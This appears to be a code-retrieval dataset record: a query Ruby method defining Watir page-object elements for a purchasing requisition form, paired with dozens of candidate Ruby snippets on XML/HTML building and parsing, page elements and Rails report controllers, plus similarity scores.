"def set_elements\n super\n # Requisition Detail Area\n element(:license_request_checkbox) {b.checkbox(:id => \"document.licensingRequirementIndicator\")}\n element(:receiving_required_checkbox) {b.checkbox(:id => \"document.receivingDocumentRequiredIndicator\")}\n element(:payment_request_approval_required_checkbox) {b.checkbox(:id => \"document.paymentRequestPositiveApprovalIndicator\")}\n # Additional Institutional Info Tab\n element(:additional_info_tab_toggle) {b.input(:id => \"tab-AdditionalInstitutionalInfo-imageToggle\")}\n element(:additional_info_phone_number_field) {b.text_field(:id => \"document.requestorPersonPhoneNumber\")}\n # Delivery Tab\n element(:room_field) {b.text_field(:id => \"document.deliveryBuildingRoomNumber\")}\n element(:building_search_icon) {b.input(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[2]/th[1]/following-sibling::td[1]/input[1]\")}\n element(:campus_search_icon) {b.input(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[1]/th[1]/following-sibling::td[1]/input[1]\")}\n element(:delivery_phone_number_field) {b.text_field(:id => \"document.deliveryToPhoneNumber\")}\n # Vendor Tab\n element(:vendor_name_field) {b.text_field(:id => \"document.vendorName\")}\n element(:vendor_alias_field) {b.text_field(:id => 'document.vendorAliasName')}\n element(:select_vendor_button) {b.input(:alt => 'select vendor')}\n element(:vendor_search_icon) {b.input(:xpath => \"//input[@id='document.vendorName']/following-sibling::input[1]\")}\n # Titles Tab\n element(:grand_total_field) {b.b(:xpath => \"//div[@id='tab-Titles-div']/descendant::th[div[contains(text(),'Grand Total')]]/following-sibling::td/div/b\")}\n end",
"def select_xml_nfe\n\t\t\t\n\tend",
"def to_component\n build_document_component(@root)\n end",
"def html\n node.inner_html\n end",
"def build_root\n root << document_properties = XML::Node.new('DocumentProperties')\n document_properties['xmlns'] = 'urn:schemas-microsoft-com:office:office'\n\n document_properties << author = XML::Node.new('Author')\n author << 'Scarlet'\n document_properties << last_author = XML::Node.new('LastAuthor')\n last_author << 'Scarlet'\n document_properties << version = XML::Node.new('Version')\n version << '12.256'\n\n root << office_document_settings = XML::Node.new('OfficeDocumentSettings')\n office_document_settings['xmlns'] = 'urn:schemas-microsoft-com:office:office'\n office_document_settings << XML::Node.new('AllowPNG')\n\n root << excel_workbook = XML::Node.new('ExcelWorkbook')\n excel_workbook['xmlns'] = 'urn:schemas-microsoft-com:office:excel'\n\n excel_workbook << window_height = XML::Node.new('WindowHeight', '20260')\n excel_workbook << window_width = XML::Node.new('WindowWidth', '29600')\n excel_workbook << window_top_x = XML::Node.new('WindowTopX', '3440')\n excel_workbook << window_top_y = XML::Node.new('WindowTopY', '-80')\n excel_workbook << XML::Node.new('Date1904')\n excel_workbook << XML::Node.new('ProtectStructure', 'False')\n excel_workbook << XML::Node.new('ProtectWindows', 'False')\n\n root << styles = XML::Node.new('Styles')\n styles << style = XML::Node.new('Style')\n style['ss:ID'] = 'Default'\n style['ss:Name'] = 'Normal'\n style << alignment = XML::Node.new('Alignment')\n alignment['ss:Vertical'] = 'Bottom'\n style << XML::Node.new('Borders')\n style << font = XML::Node.new('Font')\n font['ss:FontName'] = 'Verdana'\n style << XML::Node.new('Interior')\n style << XML::Node.new('NumberFormat')\n style << XML::Node.new('Protection')\n end",
"def xml_nodes\n @xml_nodes ||= Nokogiri::XML(xml)\n end",
"def dom\n div = DOM::Element.new 'div'\n div.html = @body\n fragment = DOM::Fragment.new\n fragment << div\n fragment\n end",
"def convert_to_document() \n Nokogiri::HTML.parse(convert())\n end",
"def xpath; end",
"def xpath; end",
"def to_xml\n builder.target!\n end",
"def from_xml_elem(ctx, root)\n #p [:from_xml_elem, :ctx, root]\n attributes = root.attributes.inject({ }) { |hash, (k, v)| hash[k] = EscapeXML.unescape(v.to_s); hash}\n text, children = root.children.partition{ |x| text_node?(x) }\n text = text.map{ |x| x.to_s}.reject{ |s| s =~ /^\\s*$/}.join('')\n element_name = root.name\n if element_name !~ /[A-Z]/\n element_name = Doodle::Utils.camel_case(element_name)\n end\n klass = Utils.const_lookup(element_name, ctx)\n #p [:creating_new, klass, text, attributes]\n #p [:root1, root]\n # don't pass in empty text - screws up when class has only\n # child elements (and no attributes) because tries to\n # instantiate child element from empty string \"\"\n if text == \"\"\n text = nil\n end\n args = [text, attributes].compact\n oroot = klass.new(*args) {\n #p [:in_block]\n from_xml_elem(root)\n }\n #p [:oroot, oroot]\n oroot\n end",
"def xml_document\n @xml_document ||= HTML::Document.new(@response.body, false, true)\n end",
"def finish_up\n self.document.root = self\n end",
"def start_document\n @doc = Nokogiri::XML::Document.new\n end",
"def node(xml)\n xml = xml.strip.gsub(/\\n|\\s{2,}/, '')\n Nokogiri::XML(xml).root\n end",
"def nokogiri\n Nokogiri::HTML(html)\n end",
"def set_elements\n super\n # Vendor Tab\n element(:date_received_field) {b.text_field(:id => \"document.shipmentReceivedDate\")}\n element(:packing_slip_number_field) {b.text_field(:id => \"document.shipmentPackingSlipNumber\")}\n element(:bill_of_lading_number_field) {b.text_field(:id => \"document.shipmentBillOfLadingNumber\")}\n element(:reference_number_field) {b.text_field(:id => \"document.shipmentReferenceNumber\")}\n element(:carrier_selector) {b.select_list(:id => \"document.carrierCode\")}\n end",
"def get_xml_doc()\n doc = REXML::Document.new \"<top description='My Description' name='My Data Set'></top>\"\n root_node = @all_depths[0].first[1]\n doc.elements[\"top\"].add_element root_node.xml\n\n # see method below\n xml_recurse_helper(root_node)\n\n return doc\n end",
"def doc\n # get_html beforehand for good output messages\n html = get_html\n print \"Parsing doc...\"\n doc = Nokogiri::HTML(html)\n puts \"done.\"\n puts\n doc\n end",
"def set_elements\n super\n element(:patron_id_field) {b.text_field(:id => \"olePatronId_control\")}\n element(:barcode_field) {b.text_field(:id => \"barcode_control\")}\n element(:first_name_field) {b.text_field(:id => \"firstName_control\")}\n element(:last_name_field) {b.text_field(:id => \"lastName_control\")}\n element(:borrower_type_selector) {b.select_list(:id => \"borrowerType_control\")}\n element(:email_address_field) {b.text_field(:id => \"emailAddress_control\")}\n # Search Controls\n # TODO Move these elements to OLE_QA::Framework::OLELS::Lookup (common) when they become universal.\n element(:active_yes_button) {b.radio(:id => 'activeIndicator_control_0')}\n element(:active_no_button) {b.radio(:id => 'activeIndicator_control_1')}\n element(:active_both_button) {b.radio(:id => 'activeIndicator_control_2')}\n element(:search_button) {b.button(:text => \"Search\")}\n element(:clear_button) {b.button(:text => \"Clear Values\")}\n element(:cancel_button) {b.button(:text => \"Cancel\")}\n end",
"def doc \n Nokogiri.parse(page.body)\n end",
"def getDocumentElement\n #def synchronizeChildren\n # puts \"SYNCING\"\n @docElement\n # super\n end",
"def from_xml(xml)\n\t\tend",
"def build_document(content)\n Nokogiri::HTML::fragment(%{<div id=\"gollum-root\">} + content.to_s + %{</div>}, 'UTF-8')\n end",
"def doc\n @doc ||= ::Nokogiri::HTML(@html)\n end",
"def show\n\tcnv = ODT_to_XHTML.new\n\txmldata = cnv.get_html(@document.content, @document.styles)\n\t@head = xmldata[:head].get_text(\"style\")\n\t@body = xmldata[:body].to_s.sub(/<body>/,\"<div class=\\\"document\\\">\").sub(/<\\/body>/,\"</div>\")\n end",
"def xml_builder\n return Builder::XmlMarkup.new(:indent=>2, :margin=>4)\n end",
"def content_box # :doc:\n \t@browser.div(:class => \"content-box\")\n end",
"def netdev_resxml_top\n cfg = Netconf::JunosConfig.new(:TOP)\n xml = cfg.doc\n at_ele = cfg.edit_path( xml, @edit_path ) \n Nokogiri::XML::Builder.with( at_ele ) do |dot|\n @pp_obj.netdev_resxml_top( dot ) \n end\n return xml \n end",
"def bamboo_xml\n @bamboo_xml ||= %(<infl>#{components.map(&:bamboo_xml).join(\"\\n\")}</infl>)\n end",
"def to_xml\n to_node.document.to_xml\n end",
"def inner_dom= element\n clear\n append element\n end",
"def xml\n @xml ||= Nokogiri::XML.parse body\n end",
"def document(source)\n ::Nokogiri::XML(source, *@options)\n end",
"def ncx_to_html\n html = <<EOF\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" profile=\"http://www.idpf.org/epub/30/profile/content/\">\n <head>\n <meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\"/>\n <title>#{title}</title>\n </head>\n <body>\n <section>\n <nav id=\"toc\" epub:type=\"toc\">\n <ol>\nEOF\n selector = \"ncx > navMap > navPoint\"\n @xml.css(selector).each do |point|\n html += \"<li id=\\\"#{point.attr('id').to_s}\\\"><a href=\\\"#{point.css('content').attr('src').to_s}\\\">#{point.css('navLabel text').text}</a></li>\"\n end\n html += <<EOF\n </ol>\n </nav>\n </section>\n </body>\n</html>\nEOF\n html\n end",
"def set_elements\n super\n # Search Control Elements\n element(:search_button) {b.button(:id => \"search_button\")}\n element(:clear_button) {b.button(:id => \"clear_button\")}\n element(:doc_type_bib) {b.radio(:id => 'SearchPanel-docType-Section_control_0')}\n element(:doc_type_holdings) {b.radio(:id => 'SearchPanel-docType-Section_control_1')}\n element(:doc_type_item) {b.radio(:id => 'SearchPanel-docType-Section_control_2')}\n element(:doc_type_e_holdings) {b.radio(:id => 'SearchPanel-docType-Section_control_3')}\n element(:link_to_order_button) {b.button(:id => 'submit_button')}\n element(:export_to_xml_button) {b.button(:id => 'export_button1')}\n element(:close_button) {b.button(:id => 'cancel_button')}\n # Search Fields\n element(:search_field_1) {b.text_field(:id => \"searchText_id_line0_control\")}\n element(:search_which_selector_1) {b.select_list(:id => \"operator_id_line0_control\")}\n element(:search_field_selector_1) {b.select_list(:id => \"docField_id_line0_control\")}\n element(:search_scope_1_and) {b.radio(:id => 'searchScope_id_line0_control_0')}\n element(:search_scope_1_or) {b.radio(:id => 'searchScope_id_line0_control_1')}\n element(:search_scope_1_not) {b.radio(:id => 'searchScope_id_line0_control_2')}\n element(:search_field_2) {b.text_field(:id => 'searchText_id_line1_control')}\n element(:search_which_selector_2) {b.select_list(:id => 'operator_id_line1_control')}\n element(:search_field_selector_2) {b.select_list(:id => 'docField_id_line1_control')}\n element(:search_scope_2_and) {b.radio(:id => 'searchScope_id_line1_control_0')}\n element(:search_scope_2_or) {b.radio(:id => 'searchScope_id_line1_control_1')}\n element(:search_scope_2_not) {b.radio(:id => 'searchScope_id_line1_control_2')}\n # Search Results Elements\n element(:next_link) {b.a(:text => 'Next')}\n element(:previous_link) {b.a(:text => 'Previous')}\n end",
"def xml_doc version = nil\n Nokogiri::XML::Document.new version\n end",
"def initialize(*args)\n super\n decorators(Nokogiri::XML::Node) << Nokogiri::Decorators::XBEL\n decorate!\n\n# self.root = '<xbel version=\"1.0\"></xbel>'\n end",
"def root\n return nil unless self.document\n self.document.root\n end",
"def to_xml\n render_xml\n end",
"def result_dom(doc)\n doc['Envelope']['Body']['RESULT']\n end",
"def parse_xml\n\n raise \"parse_xml method has not been implemented in this class\"\n \n end",
"def render_xml\n @xml = Builder::XmlMarkup.new\n @xml.gauge do\n @xml.license( @license ) unless @license.nil?\n render_extra_components \n render_components\n end\n @xml.to_s.gsub( /<to_s\\/>/, '' ) \n end",
"def test_access\n\tdoc = NQXML::TreeParser.new(@rsrc.xml).document\n\n\troot = doc.rootNode\n\tassert_nil(root.parent)\n\tassert_equal('outer', root.entity.name)\n \tassert_equal(8, root.children.length)\n\tassert_instance_of(NQXML::Text, root.firstChild().entity)\n\tassert_instance_of(NQXML::Text, root.lastChild().entity)\n\n\tnode = root.firstChild().nextSibling()\n\tassert_equal(node.parent, root)\n\tassert_equal('<simpleTag>', node.entity.source)\n\tassert_equal(1, node.children.length)\n\tassert_equal('text', node.firstChild().entity.text)\n end",
"def to_xml\n Ox.to_xml document\n end",
"def builder\n @builder ||= Builder::XmlMarkup.new(:indent => 2)\n end",
"def set_elements\n super\n # Circulation desk elements\n element(:circulation_desk_selector) {b.select_list(:id => 'LoanCirculationDesk_control')}\n element(:circulation_desk_yes) {b.button(:id => 'ChangeCirculationLocationBtn')}\n element(:circulation_desk_no) {b.button(:id => 'CirculationLocationCloseBtn')}\n # Loan Elements\n element(:patron_field) {b.text_field(:id => 'Patron-barcode_control')}\n element(:patron_search_button) {b.fieldset(:id => 'Patron-barcode_fieldset').input(:title => \"Search Field\")}\n element(:item_field) {b.text_field(:id => 'Patron-item_control')}\n element(:item_search_button) {b.fieldset(:id => 'Patron-item_fieldset').input(:title => \"Search Field\")}\n element(:fast_add_button) {b.button(:id => 'FastAddItemSectionLink')}\n element(:loan_popup_box) {b.div(:id => \"MessagePopupSection\")}\n element(:due_date_field) {b.text_field(:id => 'popUpDate_control')}\n element(:due_time_field) {b.text_field(:id => 'popUpTime_control')}\n element(:loan_button) {b.button(:id => 'loanBtn')}\n element(:do_not_loan_button) {b.button(:id => 'noLoanBtn')}\n # Current Item Elements\n element(:current_items_toggle) {b.a(:id => 'Patron-LoanItemListSection-HorizontalBoxSection_toggle').span}\n element(:checked_out_items_toggle) {b.a(:id => 'Patron-ExistingLoanItemListSection-HorizontalBoxSection_toggle').span}\n # General\n element(:loan_messages) {b.div(:id => 'LoanMessageFieldSection').spans(:class => 'uif-message')}\n element(:return_button) {b.button(:id => 'ReturnLinkView-buttons')}\n element(:header_close_button) {b.button(:id => 'headerDoneButton')}\n element(:header_clear_patron_button) {b.button(:id => 'headerClearPatronButton')}\n element(:header_alter_due_date_button) {b.button(:id => 'headerEditDueDateButton')}\n element(:header_claims_return_button) {b.button(:id => 'headerClaimsButton')}\n element(:header_renew_button) {b.button(:id => 'headerRenewalButton')}\n element(:clear_patron_button) {b.button(:id => 'clearPatronButton')}\n element(:close_button) {b.button(:id => 'doneButton')}\n element(:alter_due_date_button) {b.button(:id => 'editDueDateButton')}\n element(:claims_return_button) {b.button(:id => 'claimsButton')}\n element(:renew_button) {b.button(:id => 'renewalButton')}\n # Patron Details Area\n element(:patron_details_toggle) {b.a(:id => 'PatronDetailList-HorizontalBoxSection_toggle').span(:class => \"uif-headerText-span\")}\n element(:patron_name) {b.div(:id => 'patronName').a}\n element(:patron_type) {b.span(:id => 'patronType_control')}\n element(:patron_preferred_address) {b.span(:id => 'patronPreferredAddress_control')}\n element(:patron_phone_number) {b.span(:id => 'patronPhone_control')}\n element(:patron_email) {b.span(:id => 'patronEmail_control')}\n # Special\n element(:renewal_box) {b.div(:id => 'RenewalDueDateSection-HorizontalBoxSection')}\n end",
"def to_xml\n doc = Nokogiri::XML::Document.new\n element = to_nokogiri(doc)\n element.to_s\n end",
"def to_xml\n doc = Nokogiri::XML::Document.new\n element = to_nokogiri(doc)\n element.to_s\n end",
"def parse_xml(xml)\n Nokogiri::XML(xml, &:noblanks)\n end",
"def parse(io)\n self.doc = Nokogiri::XML(io)\n end",
"def xml_document\n @xml_document ||= HTML::Document.new(@response.body, false, true)\nend",
"def xml?; end",
"def xml?; end",
"def xml_doc\n @xml_doc ||= unless @xml.blank?\n Nokogiri.parse(@xml)\n else\n Nokogiri::XML::Document.new\n end\n rescue\n raise RuntimeError, 'expected document to parse'\n end",
"def child_node; end",
"def innerXML= source\n Parsers::TreeParser.new(source,self).parse\n end",
"def pi2element(pi)\n pi = Nokogiri::XML(pi).children.first if pi.class == String\n return Nokogiri::XML(\"<#{pi.name} #{pi.content}/>\").root\n end",
"def rss\r\n Nokogiri::XML(body)\r\n end",
"def set_elements\n super\n element(:po_number) {b.span(:id => \"process_item_po_doc_line#{line_id}_control\")}\n element(:po_end_date) {b.text_field(:id => \"invoice-poEndDate_line#{line_id}_control\")}\n element(:close_po_checkbox) {b.checkbox(:id => \"CurrentItem_closePO_line#{line_id}_control\")}\n element(:delete_po_button) {b.button(:id => \"CurrentItem_deletePurchaseOrder_line#{line_id}\")}\n element(:requisitions_toggle) {b.a(:id => \"po-requisition-view_line#{line_id}_toggle\")}\n element(:purchase_orders_toggle) {b.a(:id => \"po-po-view_line#{line_id}_toggle\")}\n element(:line_item_receiving_toggle) {b.a(:id => \"po-relatedReceiving-view_line#{line_id}_toggle\")}\n element(:correction_receiving_toggle) {b.a(:id => \"po-relatedCorrectionReceiving-view_line#{line_id}_toggle\")}\n element(:payment_requests_toggle) {b.a(:id => \"po-relatedPayment-view_line#{line_id}_toggle\")}\n element(:credit_memos_toggle) {b.a(:id => \"po-relatedCreditMemo-view_line#{line_id}_toggle\")}\n element(:add_button) {b.button(:id => \"addPOItems_button_test_line#{line_id}\")}\n end",
"def node\n Component.span\n end",
"def node\n Component.span\n end",
"def to_xml\n http.body\n end",
"def to_xml\n @builder.to_xml\n end",
"def get_content_from_data(raw_xml)\n Nokogiri::XML(raw_xml)\n end",
"def edit_with_nokogiri\n doc = Nokogiri.XML(read)\n yield doc if block_given?\n self.content = doc.to_xml\n save\n end",
"def to_xml\n dxml = Nokogiri::XML::Builder.new do |xml|\n xml.domain('type' => 'kvm'){\n xml.name name\n xml.memory memory\n xml.currentMemory memory\n xml.vcpu 1\n xml.os {\n xml.type_('hvm', 'arch' => 'x86_64', 'machine' => 'rhel6.2.0')\n\t xml.boot('dev' => 'hd')\n\t xml.kernel \"/share/repo/mirror/centos/6.2/os/x86_64/images/pxeboot/vmlinuz\"\n\t xml.initrd \"/share/repo/mirror/centos/6.2/os/x86_64/images/pxeboot/initrd.img\"\n\t xml.cmdline os_cmdline\n\t # \"method=http://172.20.0.5/repo/centos/6/os/x86_64 ks=http://172.20.0.103:10007/atlab/kickstart/rcs-el6/postgresql-centos6.cfg ksdevice=eth0 ip=172.20.100.22 netmask=255.255.0.0 nameserver=172.20.0.5 gateway=172.20.0.1\"\n }\n\txml.features {\n xml.acpi\n\t xml.apic\n\t xml.pae\n\t}\n\txml.clock 'offset' => 'utc'\n\txml.on_poweroff 'destroy'\n\txml.on_reboot 'restart'\n\txml.on_crash 'restart'\n\txml.devices {\n\t xml.emulator '/usr/libexec/qemu-kvm'\n\t xml.disk('type' => 'file', 'device' => 'disk') {\n xml.driver('name' => 'qemu', 'type' => 'raw', 'cache' => 'none')\n\t xml.source('file' => disk)\n\t xml.target('dev' => 'hda', 'bus' => 'virtio')\n\t # libvirt can auto-generate pci address space\n\t # xml.address('type' => 'pci', 'domain' => '0x0000', 'bus' => '0x00', 'slot' => '0x04', 'function' => '0x0')\n\t }\n\t xml.interface('type' => 'bridge'){\n\t xml.source('bridge' => 'br1')\n\t xml.model('type' => 'virtio')\n\t # xml.address('type' => 'pci', 'domain' => '0x0000', 'bus' => '0x00', 'slot' => '0x03', 'function' => '0x0')\n\t }\n\t xml.serial('type' => 'pty'){\n xml.target('port' => '0')\n\t }\n\t xml.console('type' => 'pty'){\n xml.target('type' => 'serial', 'port' => '0') \n\t }\n\t xml.input('type' => 'tablet', 'bus' => 'usb')\n\t xml.input('type' => 'mouse', 'bus' => 'ps2')\n\t xml.graphics('type' => 'vnc', 'port' => '-1', 'autoport' => 'yes', 'keymap' => 'en-us')\n\t xml.video {\n\t xml.model('type' => 'cirrus', 'vram' => '9216', 'heads' => '1')\n\t # xml.address('type' => 'pci', 'domain' => '0x0000', 'bus' => '0x00', 'slot' => '0x02', 'function' => '0x0')\n\t }\n\t xml.memballoon('model' => 'virtio'){\n\t # xml.address('type' => 'pci', 'domain' => '0x0000', 'bus' => '0x00', 'slot' => '0x05', 'function' => '0x0')\n }\n }\n }\n end\n dxml.to_xml\n end",
"def volume pub_xml_ng_doc\n idmd = identity_metadata pub_xml_ng_doc\n idmd.root.xpath('objectLabel').text.strip\n end",
"def set_elements\n super\n # View Related Documents Tab\n element(:view_related_tab_toggle) {b.input(:id => \"tab-ViewRelatedDocuments-imageToggle\")}\n element(:view_related_po_link) {b.a(:xpath => \"//div[@id='tab-ViewRelatedDocuments-div']/descendant::h3[contains(text(),'Purchase Order')]/a\")}\n element(:view_related_requisition_link) {b.a(:xpath => \"//div[@id='tab-ViewRelatedDocuments-div']/descendant::h3[contains(text(),'Requisition')]/a\")}\n # Delivery Tab\n element(:delivery_tab_toggle) {b.input(:id => \"tab-Delivery-imageToggle\")}\n element(:building_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/div/table/tbody/tr[2]/td[1]\")}\n element(:campus_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/div/table/tbody/tr[1]/td[1]\")}\n element(:closed_room_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/div/table/tbody/tr[5]/td[1]\")}\n element(:closed_building_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/div/table/tbody/tr[2]/td[1]\")}\n element(:closed_campus_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/div/table/tbody/tr[1]/td[1]\")}\n element(:closed_address_1_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[3]/th[1]/following-sibling::td[1]\")}\n element(:closed_address_2_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[4]/th[1]/following-sibling::td[1]\")}\n element(:closed_city_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[6]/th[1]/following-sibling::td[1]\")}\n element(:closed_state_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[7]/th[1]/following-sibling::td[1]\")}\n element(:closed_postal_code_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[8]/th[1]/following-sibling::td[1]\")}\n element(:closed_country_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[9]/th[1]/following-sibling::td[1]\")}\n element(:closed_delivery_to_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[1]/th[1]/following-sibling::td[2]\")}\n element(:closed_delivery_phone_number_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[2]/th[1]/following-sibling::td[2]\")}\n element(:closed_email_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[3]/th[1]/following-sibling::td[2]\")}\n # Vendor Tab\n element(:vendor_tab_toggle) {b.input(:id => \"tab-Vendor-imageToggle\")}\n element(:closed_vendor_name_field) {b.td(:xpath => \"//tr/th[div[contains(text(),'Suggested Vendor:')]]/following-sibling::td[1]\")}\n # Route Log Tab\n element(:route_log_tab_toggle) {b.input(:id => \"tab-RouteLog-imageToggle\")}\n # element(:actions_taken) {b.bs(:xpath => \"//div[@id='tab-ActionsTaken-div']/div[1]/table/tbody/tr/td[1]/b\")}\n # element(:actions_taken_by) {b.as(:xpath => \"//div[@id='tab-ActionsTaken-div']/div[1]/table/tbody/tr/td[2]/a\")}\n end",
"def element\n c = content()\n c = [ c + HTML.div.form_button_bar { @buttons } ] if @buttons\n HTML.form(@attrib) { c }\n end"
] | [
"0.66034204",
"0.6129919",
"0.60748994",
"0.60726964",
"0.5955403",
"0.5942814",
"0.5925995",
"0.5840247",
"0.58319783",
"0.58319783",
"0.58211374",
"0.5702781",
"0.5672204",
"0.5640138",
"0.5640138",
"0.5640138",
"0.5640138",
"0.5599672",
"0.5513765",
"0.55127746",
"0.5506643",
"0.5491378",
"0.54874593",
"0.54560906",
"0.5455465",
"0.5452419",
"0.54369265",
"0.5403997",
"0.53878796",
"0.538522",
"0.53667974",
"0.53590566",
"0.53421694",
"0.53355384",
"0.53262395",
"0.53154653",
"0.5296822",
"0.52900493",
"0.52900493",
"0.52847356",
"0.5273208",
"0.5268533",
"0.52544606",
"0.52524483",
"0.52516335",
"0.52476937",
"0.5227478",
"0.52200025",
"0.52185297",
"0.52175915",
"0.5209899",
"0.5209774",
"0.5208508",
"0.5206329",
"0.52019954",
"0.51740223",
"0.5173769",
"0.51677114",
"0.516725",
"0.51641065",
"0.5161124",
"0.5160353",
"0.515702",
"0.5149024",
"0.5148423",
"0.5145961",
"0.51398814",
"0.51391155",
"0.51211286",
"0.51205343",
"0.5103441",
"0.50990283",
"0.50947946",
"0.5092621",
"0.5091886",
"0.5087564",
"0.5086369",
"0.50850546",
"0.50850546",
"0.50777346",
"0.5056658",
"0.50421524",
"0.50391406",
"0.50391406",
"0.5023324",
"0.5021132",
"0.5019075",
"0.50162077",
"0.5012413",
"0.500836",
"0.5005053",
"0.5005053",
"0.50009507",
"0.5000096",
"0.49983835",
"0.4997991",
"0.49934554",
"0.49915892",
"0.498722",
"0.49833176"
] | 0.7758821 | 0 |
moving in from SummaryReportsController | def evaluate
load_activities
@ta_delivery_methods = TaDeliveryMethod.all
@intensity_levels = IntensityLevel.all
@ta_categories = TaCategory.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def reports\r\n ReportsController.instance\r\n end",
"def index\n @action_reports = ActionReport.all\n end",
"def index\n @villagesummaryreports = Villagesummaryreport.all\n end",
"def index\n @reports = current_user.reports.all\n\n end",
"def show\n @summaries = Summary.all \n end",
"def index\n @summaries = Summary.all\n @summary = Summary.new\n end",
"def report\n \n end",
"def report\n\t\tend",
"def view_report\n (@shift_report = find_params_id(ShiftReport)) || return\n redirect_to :controller => :report if (!@shift_report.submitted? and @shift_report.shift.user == get_user)\n end",
"def delivery_reports\r\n DeliveryReportsController.instance\r\n end",
"def index\n @report_displays = ReportDisplay.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = current_user.reports.all\n end",
"def index\n @report = Report.new\n end",
"def new\n @summary_report = SummaryReport.new\n @projects = Project.find :all\n @users = User.find :all\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @summary_report }\n end\n end",
"def index\n @bill_summaries = BillSummary.all\n end",
"def index\n @expense_reports = ExpenseReport.all\n end",
"def index\n @all_reports = AllReport.all\n\n @lead_positive = LeadReport.all \n @lead_negative = LeadReportNeg.all \n end",
"def presence_report\n @total_reports = PresenceReport.summary_report(@date_start, @date_end, current_company_id)\n @reports = @total_reports\n\n @iTotalRecords = @total_reports.count\n @iTotalDisplayRecords = @reports.count\n respond_to do |format|\n format.html { render :layout => false}\n end\n end",
"def setup_summary_report\n assign_to_from_dates\n @filter = @filter.remove_blanks_in_arrays\n @filter_name = @filter[:name]\n assign_grouping_type\n assign_facilities\n end",
"def report; end",
"def report; end",
"def report; end",
"def report; end",
"def report; end",
"def show\n @report_lines = @monthly_report.report_lines\n end",
"def index\n @reports = Report.where('owner_id = ?', current_user.id).order(creation_date: :desc)\n @dates = @reports.distinct.pluck(:creation_date)\n\n @finalReports = []\n @dates.each do |date|\n reportAux = @reports.where('creation_date = ?', date)\n burnedCaloriesAux = 0\n consumedCaloriesAux = 0\n diferenceAux = 0\n typeAux = nil\n dateAux = nil\n reportAux.each do |reporte|\n burnedCaloriesAux = burnedCaloriesAux + reporte.burnedCalories\n consumedCaloriesAux = consumedCaloriesAux +reporte.consumedCalories\n end\n diferenceAux = consumedCaloriesAux - burnedCaloriesAux\n if diferenceAux > 0\n typeAux = 'Caloric Surplus'\n elsif diferenceAux <0\n typeAux = 'Caloric Deficit'\n else\n typeAux = 'Balance'\n end\n report = Report.new(burnedCalories: burnedCaloriesAux, consumedCalories: consumedCaloriesAux,creation_date:date, diference: diferenceAux, diference_value: typeAux)\n @finalReports.unshift(report)\n end\n @finalReports =@finalReports.sort_by{|x| [Date.today - x.creation_date]}\n @finalReports = @finalReports.paginate(page: params[:page], per_page: 10)\n return @finalReports\n end",
"def reporting\n # STUB\n end",
"def show\n # @reports = @month_simulation.reports\n end",
"def index\n @accounting_reports = AccountingReport.all\n end",
"def view\n if @title == 'Action Items'\n ActionItems\n else\n Report\n end\n end",
"def index\n @question_reports = QuestionReport.all\n end",
"def index\n @thenewsreporters = Thenewsreporter.all\n end",
"def index\n @admin_reports = Admin::Report.all\n end",
"def set_report\n end",
"def index\n @dynamic_reports = DynamicReport.all\n end",
"def reports\n @concerns = @city.concerns.where(category: \"Report\")\n render action: :index\n end",
"def idsr_monthly_summary\n @report_name = 'IDSR Monthly Summary'\n @logo = CoreService.get_global_property_value('logo').to_s\n @current_location_name =Location.current_health_center.name\n @obs_start_year = Observation.first.obs_datetime.year\n\n render :layout => 'report'\n end",
"def index\n @report_contents = ReportContent.all\n end",
"def index\n @post_reports = PostReport.all\n end",
"def index\n @reporter_suscriptions = Reporter::Suscription.all\n end",
"def index\n #debugger\n return( redirect_to new_user_session_url) unless current_user #redirect without flash\n @report_user = is_admin? ? User.find_by_site( params[:site] ) : current_user\n @usages = Usage.all :conditions => { :site => current_site }, :order => \"period_from DESC\"\n return( redirect_to setup_path(:site => current_site)) if @usages.empty?\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @usages }\n end\n end",
"def reporting_data\r\n\r\n report_sid = params[:report].blank? ? \"count_of_table_sid_by_field_sid\" : params[:report]\r\n render(:nothing => true) and return if report_sid.blank?\r\n opts = (params[:report_options] || {}).reject{|k,v| v.blank?}\r\n opts[:format] ||= params[:format]\r\n r = AccessReport.make_report(report_sid, opts)\r\n r[:title][:style] = r[:title][:style].tr(',', ';').gsub('colour', 'color') if r && r[:title] && r[:title][:style]\r\n @report = r\r\n respond_to do |format|\r\n format.json { render :json => @report }\r\n format.html { render :text => @report }\r\n end\r\n end",
"def index\n @project_reports = ProjectReport.all\n end",
"def index\n @annual_summary_reports = AnnualSummaryReport.where(user: current_user).order(:year).reverse_order\n @feedbacks = Feedback.where(user: current_user)\n end",
